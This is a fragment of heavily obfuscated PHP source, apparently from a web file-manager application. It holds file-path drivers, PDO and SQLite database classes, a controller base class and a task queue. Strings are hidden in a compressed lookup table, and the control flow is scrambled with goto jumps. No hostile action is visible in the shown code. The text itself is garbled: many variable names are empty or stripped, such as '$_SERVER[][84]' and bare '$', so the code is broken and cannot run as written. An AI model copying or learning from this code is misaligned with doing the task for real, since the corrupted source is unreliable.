$this->model->rename($ݠ, $Ǥ); return $ ? $this->getPathOuter($ݠ) : $; } public function size($) { $ꋉ = $this->infoSimple($); return $ꋉ ? $ꋉ[$_SERVER[][76]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($Է) { return $this->infoParse($Է, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($ֻ, $ = false, $î = false) { if (!$) { return $this->model->pathInfo($ֻ, $î); } return $this->model->pathInfoMore($ֻ); } public function infoFull($Å) { $® =& $_SERVER[]; $ػ = explode($®[8], $Å); $ = implode($®[8], array_splice($ػ, 1)); return $this->model->pathInfoByPath($ػ[0], $); } public function hashSimple($߯) { $Κ =& $_SERVER[]; $ = $this->infoWithChildren($߯); return $[$Κ[170]][$Κ[177]]; } public function hashMd5($) { $ܣ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$ܣ[170]][$ܣ[176]]; } public function exist($) { $֧ =& $_SERVER[]; $Σ = $this->parse($); if (!$Σ[$֧[84]]) { return $this->isFile($) || $this->isFolder($); } $lj = array($֧[401] => $Σ[$֧[399]], $֧[32] => $Σ[$֧[84]]); $ = $this->model->where($lj)->find(); return $ ? !0 : !1; } public function isFile($ۑ) { $ʙ =& $_SERVER[]; $߂ = $this->infoSimple($ۑ); return $߂ && $߂[$ʙ[410]] == $ʙ[88] ? !1 : !0; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[410]] == $[88] ? !0 : !1; } public function listPath($, $ս = false) { $맒ڈ =& $_SERVER[]; if ($ == $맒ڈ[12]) { return !1; } $͈ = array($맒ڈ[401] => $); if ($ս) { return $this->model->listSource($͈, -1); } return $this->model->listSource($͈); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[208] => $[$[208]], $[207] => $[$[207]]); } return $ ? $[$[208]] : $[$[207]]; } public function listAll($뗓) { $կū = IO::info($this->pathParse[$_SERVER[][84]]); if (!$կū) { return array(); } return $this->model->listAll($뗓); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $̘ = '') { return $this->model->setContent($, $̘); } public function fileSubstr($, $ߟ, $Ҁ) { return $this->model->fileSubstr($, $ߟ, $Ҁ); } public function download($՞, $ = '') { $ = get_path_father($); $ˇ = get_path_this($); $ن = $this->model->fileInfoGet($՞); $ = IO::copy($ن[$_SERVER[][84]], $, !1, $ˇ); return $; } public function setModifyTime($, $ = '') { $ϳ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($ϳ[417] => $))->save(array($ϳ[85] => $)); } public function upload($, $, $ = false, $۫ = REPEAT_REPLACE) { $ =& $_SERVER[]; $폝 = $this->parse($); $Ɩ = $this->model->addFile($폝[$[399]], $, $폝[$[84]], $, $۫); return $this->getPathOuter($Ɩ); } public function uploadFileByID($٭, $Ж, $) { $ =& $_SERVER[]; $ = $this->parse($٭); $ۭ = $this->model->addFileByFileID($[$[399]], $Ж, $[$[84]], $); return $this->getPathOuter($ۭ); } public function addFileByRemote($ŷ, $, $ڑ = array(), $ = '', $˝) { $돑 =& $_SERVER[]; $졭 = $this->parse($ŷ); $ = empty($) ? $졭[$돑[84]] : $; $ŧ = $this->model->addFileByRemote($졭[$돑[399]], $, $, $ڑ, $˝); return $this->getPathOuter($ŧ); } public function uploadLink($, $˲ = 0) { $Ι =& $_SERVER[]; $ = $this->parse($); $Ά = _get($GLOBALS[$Ι[7]], $Ι[1343]); $ = _get($GLOBALS[$Ι[7]], $Ι[1344]); $ = Model($Ι[601])->createFileName($[$Ι[84]], $Ά, $); return IO::uploadLink($, $˲); } public function fileNameAuto($렯, $б, $ = REPEAT_REPLACE, $ǃ = false) { return $this->model->fileNameAuto($렯, $б, $, $ǃ); } public function fileNameExist($せ, $ܘ) { return $this->model->fileNameExist($せ, $ܘ); } protected function _fileOut($, $Ɓ = false, $ = false, $Պ = '', $ = false) { $ǭ =& $_SERVER[]; $Ũ = $this->model->sourceInfo($); if ($Ũ[$ǭ[410]] == $ǭ[88]) { header($ǭ[1345]); die; } $Ӂ = $this->model->fileInfoGet($); $Պ = $Ӂ[$ǭ[176]] ? $Ӂ[$ǭ[176]] : $Պ; $ť = isset($GLOBALS[$ǭ[1346]]) ? $GLOBALS[$ǭ[1346]] : $Ũ[$ǭ[32]]; if ($) { return IO::fileOutServer($Ӂ[$ǭ[84]], $Ɓ, $ť, $Պ); } IO::fileOut($Ӂ[$ǭ[84]], $Ɓ, $ť, $Պ); } public function fileOut($, $ = false, $ҡ = false, $ = '') { $this->_fileOut($, $, $ҡ, $); } public function fileOutServer($ºɗ, $ = false, $ = false, $ʄչ = '') { $this->_fileOut($ºɗ, $, $, $ʄչ, !0); } protected function _fileOutImage($ï, $Րӝ = 250) { $Ȟ =& $_SERVER[]; $ = $this->model->pathInfo($ï); if ($[$Ȟ[410]] == $Ȟ[88]) { show_json($Ȟ[1347] . $ï, !1); } $ۺ = $this->model->fileInfoGet($ï); $ۺ[$Ȟ[32]] = $[$Ȟ[32]]; $ۺ[$Ȟ[169]] = $[$Ȟ[169]]; $GLOBALS[$Ȟ[1346]] = $ۺ[$Ȟ[32]]; $GLOBALS[$Ȟ[168]] = $ۺ; IO::fileOutImage($ۺ[$Ȟ[84]], $Րӝ); } public function fileOutImage($, $ = 250) { $this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($ı, $ = '') { $붟 = $this->model->fileInfoGet($ı); return IO::link($붟[$_SERVER[][84]], $); } protected function parse($ط) { $粓 =& $_SERVER[]; if (strstr($ط, $粓[8]) === !1) { return array($粓[419] => intval($ط), $粓[84] => $粓[12], $粓[1342] => array()); } $ = explode($粓[8], trim($ط, $粓[8])); if (count($) < 2) { show_tips(clear_html($ط) . $粓[1348]); } return array($粓[419] => intval($[0]), $粓[84] => $[1], $粓[1342] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($Ż) { $this->pathParse = $Ż; $this->model = Model($_SERVER[][1341]); } public function getPathOuter($ן) { $ƪ =& $_SERVER[]; if (!$ן) { return $ן; } $̀ = $this->parse($ן); return trim(KodIO::makeShare($this->pathParse[$ƪ[399]], $̀[$ƪ[399]]), $ƪ[8]); } protected function infoParse($ʆɯ, $ = false, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[399]]; $ = trim($this->pathParse[$[1170]], $[8]); return Action($[1349])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[]; $މ = explode($[8], trim($, $[8])); if (count($މ) > 1) { $߾ = implode($[8], array_splice($މ, 1)); $ = $this->model->pathInfoByPath($މ[0], $߾); if (!$) { return !1; } $this->pathParse[$[1170]] = $[$[402]]; } return $this->infoParse($); } public function listAll($) { $㙧 =& $_SERVER[]; $ћ = IO::info($this->pathParse[$㙧[84]]); if (!$ћ) { return array(); } $ = $this->model->listAll($); $Ք۷ = Model($㙧[592])->getInfo($ћ[$㙧[593]]); foreach ($ as &$) { check_abort(); $[$㙧[87]] = Action($㙧[1349])->_shareItemeParse($[$㙧[87]], $Ք۷); } unset($); return $; } } goto bڛý; e삅: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($蜿 = '') { $ =& $_SERVER[]; if (!class_exists($[916])) { think_exception(think_lang($[14]) . $[917]); } if (!empty($蜿)) { $this->config = $蜿; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($騵 = '', $͒ = 0) { $䭂ߖ =& $_SERVER[]; if (!isset($this->linkID[$͒])) { if (empty($騵)) { $騵 = $this->config; } $ = !empty($騵[$䭂ߖ[17]][$䭂ߖ[18]]) ? $騵[$䭂ߖ[17]][$䭂ߖ[18]] : $this->pconnect; if ($) { $騵[$䭂ߖ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$͒] = new PDO($騵[$䭂ߖ[918]], $騵[$䭂ߖ[890]], $騵[$䭂ߖ[891]], $騵[$䭂ߖ[17]]); } catch (PDOException $ş) { think_exception($ş->getMessage()); } $this->dbType = $this->_getDsnType($騵[$䭂ߖ[918]]); if (in_array($this->dbType, array($䭂ߖ[919], $䭂ߖ[920], $䭂ߖ[921], $䭂ߖ[922]))) { think_exception($䭂ߖ[923] . $this->dbType . $䭂ߖ[924] . $this->dbType . $䭂ߖ[925]); } if (!$this->linkID[$͒]) { think_exception($䭂ߖ[926]); } try { $this->linkID[$͒]->exec($䭂ߖ[927] . think_config($䭂ߖ[893])); } catch (Exception $ş) { } $this->connected = !0; if (1 != think_config($䭂ߖ[22])) { unset($this->config); } } return $this->linkID[$͒]; } public function free() { $this->PDOStatement = null; } public function query($, $ۛ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($ۛ)) { $this->queryStr .= $[928] . print_r($ۛ, !0) . $[929]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($ۛ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ڲ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $ڲ[928] . print_r($, !0) . $ڲ[929]; } $߇ = !1; if ($this->dbType == $ڲ[922]) { if (preg_match($ڲ[930], $this->queryStr, $٢Ȁ)) { $this->table = think_config($ڲ[931]) . str_ireplace(think_config($ڲ[932]), $ڲ[378], $٢Ȁ[2]); $߇ = (bool) $this->query($ڲ[933] . strtoupper($this->table) . $ڲ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ڲ[25], 1); think_status($ڲ[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ˋ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $ˋ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($߇ || preg_match($ڲ[934], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $َ = $this->_linkID->commit(); $this->transTimes = 0; if (!$َ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ԡ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ԡ); return $Ԡ; } public function getFields($穳) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[935])) { $ = str_replace($[936], $穳, think_config($[935])); } else { switch ($this->dbType) { case $[919]: case $[937]: $ = "\123\x45\x4c\105\x43\x54\x20\40\x20\143\x6f\154\x75\x6d\156\x5f\156\x61\x6d\145\40\x61\x73\x20\47\x4e\141\x6d\x65\x27\x2c\40\x20\40\x64\x61\164\x61\137\x74\171\160\145\40\141\163\x20\47\124\x79\x70\x65\x27\x2c\x20\40\x20\x63\157\154\165\x6d\156\137\x64\145\146\141\x75\x6c\x74\x20\x61\x73\40\47\x44\145\x66\141\165\154\164\47\54\x20\x20\40\x69\163\x5f\x6e\x75\154\x6c\141\142\x6c\145\40\x61\163\x20\47\x4e\x75\154\154\47\12\x9\x9\x46\x52\x4f\115\11\151\x6e\146\157\162\x6d\x61\x74\x69\157\x6e\x5f\163\143\x68\145\155\x61\x2e\164\141\142\x6c\145\x73\40\x41\123\x20\164\xa\x9\x9\112\117\x49\116\11\151\156\146\157\x72\x6d\141\x74\x69\157\156\137\x73\x63\x68\x65\x6d\x61\x2e\143\x6f\x6c\x75\155\156\163\40\101\123\x20\x63\12\x9\x9\117\116\x20\x20\x74\56\x74\141\x62\154\x65\x5f\x63\x61\x74\x61\x6c\x6f\x67\40\75\x20\x63\x2e\x74\x61\142\154\x65\137\x63\x61\164\141\154\157\x67\12\x9\11\101\116\104\40\164\x2e\x74\141\x62\154\x65\137\163\x63\150\145\155\141\40\75\x20\143\56\164\141\x62\154\x65\x5f\x73\x63\x68\x65\x6d\x61\xa\11\11\x41\x4e\104\40\164\x2e\x74\x61\142\154\x65\x5f\x6e\141\155\145\x20\75\x20\143\x2e\x74\141\142\154\x65\137\x6e\x61\x6d\x65\xa\11\11\x57\x48\105\x52\x45\40\x20\x20\x74\56\x74\141\x62\x6c\145\137\x6e\x61\x6d\145\x20\x3d\40\x27{$穳}\x27"; break; case $[938]: $ = $[939] . $穳 . $[940]; break; case $[920]: case $[922]: $ = $[941] . $[942] . $[943] . strtoupper($穳) . $[944] . strtoupper($穳) . $[945]; break; case $[946]: $ = $[947] . $穳 . $[948]; break; case $[921]: break; case $[949]: default: $ = $[950] . ($this->dbType == $[949] ? "\x60{$穳}\x60" : $穳); } } $Ƕ = $this->query($); $ = array(); if ($Ƕ) { foreach ($Ƕ as $ => $ϒ) { $ϒ = array_change_key_case($ϒ); $ϒ[$[32]] = isset($ϒ[$[32]]) ? $ϒ[$[32]] : $[378]; $ϒ[$[33]] = isset($ϒ[$[33]]) ? $ϒ[$[33]] : $[378]; $Ǣ = isset($ϒ[$[273]]) ? $ϒ[$[273]] : $ϒ[$[32]]; $[$Ǣ] = array($[32] => $Ǣ, $[33] => $ϒ[$[33]], $[35] => (bool) (isset($ϒ[$[103]]) && $ϒ[$[103]] === $[12] || isset($ϒ[$[35]]) && $ϒ[$[35]] === $[12]), $[37] => isset($ϒ[$[37]]) ? $ϒ[$[37]] : (isset($ϒ[$[56]]) ? $ϒ[$[56]] : $[378]), $[39] => isset($ϒ[$[94]]) ? strtolower($ϒ[$[94]]) == $[41] : (isset($ϒ[$[57]]) ? $ϒ[$[57]] : !1), $[42] => isset($ϒ[$[951]]) ? strtolower($ϒ[$[951]]) == $[44] : (isset($ϒ[$[94]]) ? $ϒ[$[94]] : !1)); } } return $; } public function getTables($蹊 = '') { $ =& $_SERVER[]; if (think_config($[952])) { $廣ҕ = str_replace($[953], $蹊, think_config($[952])); } else { switch ($this->dbType) { case $[920]: case $[922]: $廣ҕ = $[954]; break; case $[919]: case $[937]: $廣ҕ = $[955]; break; case $[946]: $廣ҕ = $[956]; break; case $[921]: think_exception(think_lang($[957]) . $[958]); break; case $[938]: $廣ҕ = $[45] . $[46] . $[47]; break; case $[949]: default: if (!empty($蹊)) { $廣ҕ = $[901] . $蹊 . $[902]; } else { $廣ҕ = $[903]; } } } $ = $this->query($廣ҕ); $Ƀ = array(); foreach ($ as $ => $Ґ) { $Ƀ[$] = current($Ґ); } return $Ƀ; } protected function parseLimit($މҥ) { $ =& $_SERVER[]; $ = $[12]; if (!empty($މҥ)) { switch ($this->dbType) { case $[946]: case $[938]: $މҥ = explode($[50], $މҥ); if (count($މҥ) > 1) { $ .= $[51] . $މҥ[1] . $[52] . $މҥ[0] . $[53]; } else { $ .= $[51] . $މҥ[0] . $[53]; } break; case $[919]: case $[937]: break; case $[921]: break; case $[920]: case $[922]: break; case $[949]: default: $ .= $[51] . $މҥ . $[53]; } } return $; } public function parseKey(&$т, $؉ج = true) { $ =& $_SERVER[]; if ($؉ج) { $т = $this->parseKeyCheck($т); } if ($this->dbType == $[949]) { if ($т != $[189] && !preg_match($[913], $т)) { $т = $[385] . trim($т, $[385]) . $[385]; } return $т; } else { return parent::parseKey($т, $؉ج); } } public function close() { $this->_linkID = null; } public function error() { $ȓ =& $_SERVER[]; if ($this->PDOStatement) { $ѝ = $this->PDOStatement->errorInfo(); $this->error = $ѝ[1] . $ȓ[4] . $ѝ[2]; } else { $this->error = $ȓ[12]; } if ($ȓ[12] != $this->queryStr) { $this->error .= LNG($ȓ[48]) . $this->queryStr; } think_trace($this->error, $ȓ[12], $ȓ[49]); return $this->error; } public function escapeString($̩) { $ =& $_SERVER[]; switch ($this->dbType) { case $[946]: case $[919]: case $[937]: case $[949]: return addslashes($̩); case $[921]: case $[938]: case $[920]: case $[922]: return str_ireplace($[58], $[59], $̩); } } protected function parseValue($ʶ) { $ =& $_SERVER[]; if (is_string($ʶ)) { $¬ = strpos($ʶ, $[4]) === 0 && in_array($ʶ, array_keys($this->bind)); $ʶ = $¬ ? $this->escapeString($ʶ) : $[959] . $this->escapeString($ʶ) . $[959]; } elseif (isset($ʶ[0]) && is_string($ʶ[0]) && strtolower($ʶ[0]) == $[297]) { $ʶ = $this->escapeString($ʶ[1]); } elseif (is_array($ʶ)) { $ʶ = array_map(array($this, $[960]), $ʶ); } elseif (is_bool($ʶ)) { $ʶ = $ʶ ? $[88] : $[198]; } elseif (is_null($ʶ)) { $ʶ = $[103]; } return $ʶ; } public function getLastInsertId() { $շ =& $_SERVER[]; switch ($this->dbType) { case $շ[946]: case $շ[938]: case $շ[919]: case $շ[937]: case $շ[921]: case $շ[949]: return $this->_linkID->lastInsertId(); case $շ[920]: case $շ[922]: $ = $this->table; $Ϙڙ = $this->query("\123\105\114\x45\x43\124\40{$}\56\x63\x75\x72\162\x76\x61\x6c\x20\x63\165\x72\x72\166\141\x6c\x20\x46\x52\117\x4d\x20\x64\165\141\154"); return $Ϙڙ ? $Ϙڙ[0][$շ[961]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ʚ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($ʚ); CacheLock::fileUnLock($[13]); return $; } public function execute($ʹ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ε = parent::execute($ʹ); CacheLock::fileUnLock($[13]); return $ε; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $Û = parent::query($); CacheLock::fileUnLock($[13]); return $Û; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $՜ = parent::execute($); CacheLock::fileUnLock($[13]); return $՜; } } goto fǽ; DЂĽ: define($_SERVER[][241], 1); define($_SERVER[][242], 0); define($_SERVER[][243], 2); goto cʏ悆; Eծ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ݙ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$ݙ[6]] =& $config; $this->values[$ݙ[7]] =& $in; $this->tpl = TEMPLATE . MOD . $ݙ[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ʂ = new ReflectionClass($); $㉔ = func_get_args(); array_shift($㉔); $this->{$} = $ʂ->newInstanceArgs($㉔); } return $this->{$}; } public function routeBind($, $, $ܢ = 3) { $ȃ =& $_SERVER[]; $ = $this->in[$ȃ[9]]; $ = str_replace($ȃ[10], $ȃ[11], trim(trim($, $ȃ[8]), $ȃ[12])); if (!$ || count($) <= $ܢ) { return !1; } $ = !0; $Ę = explode($ȃ[8], $); for ($̉ϔ = 0; $̉ϔ < count($Ę); $̉ϔ++) { if ($Ę[$̉ϔ] != $[$ܢ + $̉ϔ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ͭ = 3) { $П = $this->in[$_SERVER[][9]]; if (count($П) <= $ͭ) { return array(); } $ = array(); for ($ = $ͭ; $ < count($П); $ += 2) { $[$П[$]] = $П[$ + 1]; $this->in[$П[$]] = $П[$ + 1]; } return $; } protected function assign($, $ͦ) { $this->values[$] = $ͦ; } protected function display($ᅙ) { ob_end_clean(); extract($this->values); require $this->tpl . $ᅙ; } } class DbSqliteBase extends Db { public function __construct($ֆ = '') { $դ =& $_SERVER[]; if (!extension_loaded($դ[13])) { think_exception(think_lang($դ[14]) . $դ[15]); } if (!empty($ֆ)) { if (!isset($ֆ[$դ[16]])) { $ֆ[$դ[16]] = 438; } $this->config = $ֆ; if (empty($this->config[$դ[17]])) { $this->config[$դ[17]] = array(); } } } public function connect($쑆 = '', $ = 0) { $ٿ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($쑆)) { $쑆 = $this->config; } $ = !empty($쑆[$ٿ[17]][$ٿ[18]]) ? $쑆[$ٿ[17]][$ٿ[18]] : $this->pconnect; $ԁ = $ ? $ٿ[19] : $ٿ[20]; $this->linkID[$] = $ԁ($쑆[$ٿ[21]], $쑆[$ٿ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ٿ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($Ĝݰ) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ĝݰ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $Ĝݰ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ȹ = $this->getAll(); return $ȹ; } } public function execute($ڱ) { $ï =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ڱ; if ($this->queryID) { $this->free(); } think_action_status($ï[25], 1); think_status($ï[24]); $ = sqlite_exec($this->_linkID, $ڱ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($敏 = 0; $敏 < $this->numRows; $敏++) { $[$敏] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $Ƙ =& $_SERVER[]; $㡛 = $this->query($Ƙ[29] . $ . $Ƙ[30]); $֦ = array(); if ($㡛) { foreach ($㡛 as $ګؚ => $ء) { $֦[$ء[$Ƙ[31]]] = array($Ƙ[32] => $ء[$Ƙ[31]], $Ƙ[33] => $ء[$Ƙ[34]], $Ƙ[35] => (bool) ($ء[$Ƙ[36]] === $Ƙ[12]), $Ƙ[37] => $ء[$Ƙ[38]], $Ƙ[39] => strtolower($ء[$Ƙ[40]]) == $Ƙ[41], $Ƙ[42] => strtolower($ء[$Ƙ[43]]) == $Ƙ[44]); } } return $֦; } public function getTables($ = '') { $㼡 =& $_SERVER[]; $Ļ = $this->query($㼡[45] . $㼡[46] . $㼡[47]); $̷ = array(); foreach ($Ļ as $К => $) { $̷[$К] = current($); } return $̷; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ଙ =& $_SERVER[]; $̎ = sqlite_last_error($this->_linkID); $this->error = $̎ . $ଙ[4] . sqlite_error_string($̎); if ($ଙ[12] != $this->queryStr) { $this->error .= LNG($ଙ[48]) . $this->queryStr; } think_trace($this->error, $ଙ[12], $ଙ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($¢) { $ =& $_SERVER[]; $ = $[12]; if (!empty($¢)) { $¢ = explode($[50], $¢); if (count($¢) > 1) { $ .= $[51] . $¢[1] . $[52] . $¢[0] . $[53]; } else { $ .= $[51] . $¢[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ϻ =& $_SERVER[]; if (!class_exists($ϻ[54])) { think_exception(think_lang($ϻ[14]) . $ϻ[55]); } if (!empty($)) { if (!isset($[$ϻ[16]])) { $[$ϻ[16]] = 438; } $this->config = $; if (empty($this->config[$ϻ[17]])) { $this->config[$ϻ[17]] = array(); } } } public function connect($З = '', $٧ = 0) { $ڶ =& $_SERVER[]; if (!isset($this->linkID[$٧])) { if (empty($З)) { $З = $this->config; } $this->linkID[$٧] = new SQLite3($З[$ڶ[21]]); if (!$this->linkID[$٧]) { think_exception($this->linkID[$٧]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$٧]->busyTimeout(30000); if (1 != think_config($ڶ[22])) { unset($this->config); } } return $this->linkID[$٧]; } public function free() { $this->queryID = null; } public function query($ۯ) { $ş =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ۯ; if ($this->queryID) { $this->free(); } think_action_status($ş[23], 1); think_status($ş[24]); $this->queryID = $this->_linkID->query($ۯ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($ą) { $β =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ą; if ($this->queryID) { $this->free(); } think_action_status($β[25], 1); think_status($β[24]); $ = $this->_linkID->exec($ą); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $՟ = $this->_linkID->query($_SERVER[][27]); if (!$՟) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $℮Ɵ = $this->_linkID->query($_SERVER[][28]); if (!$℮Ɵ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ᓩ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $ᓩ; } $this->queryID->reset(); return $; } public function getFields($) { $ۨ =& $_SERVER[]; $ = $this->query($ۨ[29] . $ . $ۨ[30]); $Ȉ = array(); if ($) { foreach ($ as $ => $Ғ) { $Ȉ[$Ғ[$ۨ[32]]] = array($ۨ[32] => $Ғ[$ۨ[32]], $ۨ[33] => $Ғ[$ۨ[33]], $ۨ[35] => (bool) ($Ғ[$ۨ[35]] === $ۨ[12]), $ۨ[37] => $Ғ[$ۨ[56]], $ۨ[39] => (bool) $Ғ[$ۨ[57]], $ۨ[42] => (bool) $Ғ[$ۨ[57]]); } } return $Ȉ; } public function getTables($ֺ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ى̽ = array(); foreach ($ as $ => $) { $ى̽[$] = current($); } return $ى̽; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $䬰 =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($䬰[12] != $this->queryStr) { $this->error .= LNG($䬰[48]) . $this->queryStr; } think_trace($this->error, $䬰[12], $䬰[49]); return $this->error; } public function escapeString($) { $͢ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($͢[58], $͢[59], $); } public function parseLimit($挽) { $ =& $_SERVER[]; $ֹ = $[12]; if (!empty($挽)) { $挽 = explode($[50], $挽); if (count($挽) > 1) { $ֹ .= $[51] . $挽[1] . $[52] . $挽[0] . $[53]; } else { $ֹ .= $[51] . $挽[0] . $[53]; } } return $ֹ; } } goto e; F: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ĭۣ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($ƪ, $ӎ) { return $ƪ == $ӎ; } goto cԥ; f嫐ﶈ: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\x73\153\x51\165\145\x75\145\114\145\156\x67\x74\x68"; const QUEUE_DATA = "\164\x61\163\153\121\x75\145\x75\x65\x44\x61\x74\141"; public static $listData = false; public static function initTask() { } public static function add($§, $ӝ = array(), $ = '', $ = '') { $Ÿ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $Ÿ[94], $)) { return !0; } self::$listData[] = array($Ÿ[264] => $§, $Ÿ[1768] => $ӝ, $Ÿ[453] => $, $Ÿ[94] => $); return !0; } public static function addSubmit() { $믺 =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($믺[1769] . json_encode_force(array_to_keyvalue(self::$listData, $믺[12], $믺[453])), $믺[1770]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($Ϫȭ, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[94], $)) { return !0; } $[] = array($[264] => $Ϫȭ, $[1768] => $, $[453] => $, $[94] => $); write_log($[1769] . $, $[1770]); self::setAll($); return !0; } public static function run() { $ದ =& $_SERVER[]; $Е = self::getAll(); $ښ = array_shift($Е); if (!$ښ) { return !1; } self::setAll($Е); $ߋ = timeFloat(); try { Hook::apply($ښ[$ದ[264]], $ښ[$ದ[1768]]); } catch (Exception $ː헕) { } $è = number_format(timeFloat() - $ߋ, 3) . $ದ[1686]; write_log($ದ[1771] . $ښ[$ದ[453]] . $ದ[1772] . $è, $ದ[1770]); return !0; } public static function count() { $ཤ = Cache::get(self::QUEUE_LENGTH); 